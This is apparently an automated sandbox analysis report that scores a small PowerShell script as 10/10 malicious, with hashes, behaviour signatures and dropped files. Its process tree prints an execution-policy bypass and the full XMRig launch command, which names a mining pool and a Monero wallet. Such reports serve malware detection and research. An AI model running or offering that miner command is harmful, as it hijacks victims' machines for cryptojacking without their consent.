Resubmissions

15/05/2024, 03:28

240515-d1awaafa7v 10

14/05/2024, 20:25

240514-y7j3rafd53 10

14/05/2024, 20:25

240514-y7dkzafd42 10

14/05/2024, 20:25

240514-y69l1sfd34 10

14/05/2024, 20:23

240514-y6htasfc77 10

14/05/2024, 20:23

240514-y6bd8aeg2z 10

14/05/2024, 20:23

240514-y57q2aef9z 10

Analysis

  • max time kernel
    298s
  • max time network
    299s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14/05/2024, 20:25

General

  • Target

    file01 - copia (9).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 22 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (9).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3580
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2360

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjumipzv.s0b.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    6.3MB

    MD5

    5f39a0d0a4034a15e8b77cb643f0ad1d

    SHA1

    f0bc6e120d7737c94c9020ec26340b7d2db59b50

    SHA256

    ad4ccde90de3b533f224cb70df37ff7ad5907caefcbfbfe550620fe8203015dd

    SHA512

    1ef455397262a3ce228bded35ef2c3404c760d4423fe7ad700f3d16c192a42d4dcaf644fda70089952dfb41d8c322fb5c49558f495fc73e58304eb1f3f7df6b6

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    6.1MB

    MD5

    fd3b8c3bcaf4fcdacecea8d9e949c8ea

    SHA1

    3f339f2de04083a510f21cc5a5f0f5527f6112b0

    SHA256

    daa57cfdf758762eeaf3d754d836c2f0266bd693d12e3d8ee267fd42b17b776f

    SHA512

    e59d33c7d817ee87429e1c8ce9a1b348cbeabcf23d1e206a499d49670abfb7e3ecd735134316dc6bd756c3230469c7e95536301e40aa0d84fb7633831353732e

  • memory/2360-60-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-56-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-83-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-82-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-81-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-80-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-79-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-46-0x000001630D750000-0x000001630D770000-memory.dmp

    Filesize

    128KB

  • memory/2360-47-0x000001630D790000-0x000001630D7B0000-memory.dmp

    Filesize

    128KB

  • memory/2360-48-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-49-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-78-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-61-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-63-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-52-0x000001630D7B0000-0x000001630D7D0000-memory.dmp

    Filesize

    128KB

  • memory/2360-62-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-55-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-74-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-58-0x00000163A0380000-0x00000163A03A0000-memory.dmp

    Filesize

    128KB

  • memory/2360-57-0x000001630D7B0000-0x000001630D7D0000-memory.dmp

    Filesize

    128KB

  • memory/2360-59-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-77-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-76-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-75-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-53-0x00000163A0380000-0x00000163A03A0000-memory.dmp

    Filesize

    128KB

  • memory/2360-64-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-65-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-66-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-67-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-68-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-69-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-70-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-71-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-72-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/2360-73-0x00007FF6CFF00000-0x00007FF6D0B33000-memory.dmp

    Filesize

    12.2MB

  • memory/3580-51-0x00007FFDBDEB3000-0x00007FFDBDEB5000-memory.dmp

    Filesize

    8KB

  • memory/3580-54-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

    Filesize

    10.8MB

  • memory/3580-11-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

    Filesize

    10.8MB

  • memory/3580-0-0x00007FFDBDEB3000-0x00007FFDBDEB5000-memory.dmp

    Filesize

    8KB

  • memory/3580-50-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

    Filesize

    10.8MB

  • memory/3580-10-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

    Filesize

    10.8MB

  • memory/3580-9-0x000001D271CA0000-0x000001D271CC2000-memory.dmp

    Filesize

    136KB

  • memory/3580-15-0x000001D271D20000-0x000001D271D2A000-memory.dmp

    Filesize

    40KB

  • memory/3580-14-0x000001D271D30000-0x000001D271D42000-memory.dmp

    Filesize

    72KB

  • memory/3580-12-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

    Filesize

    10.8MB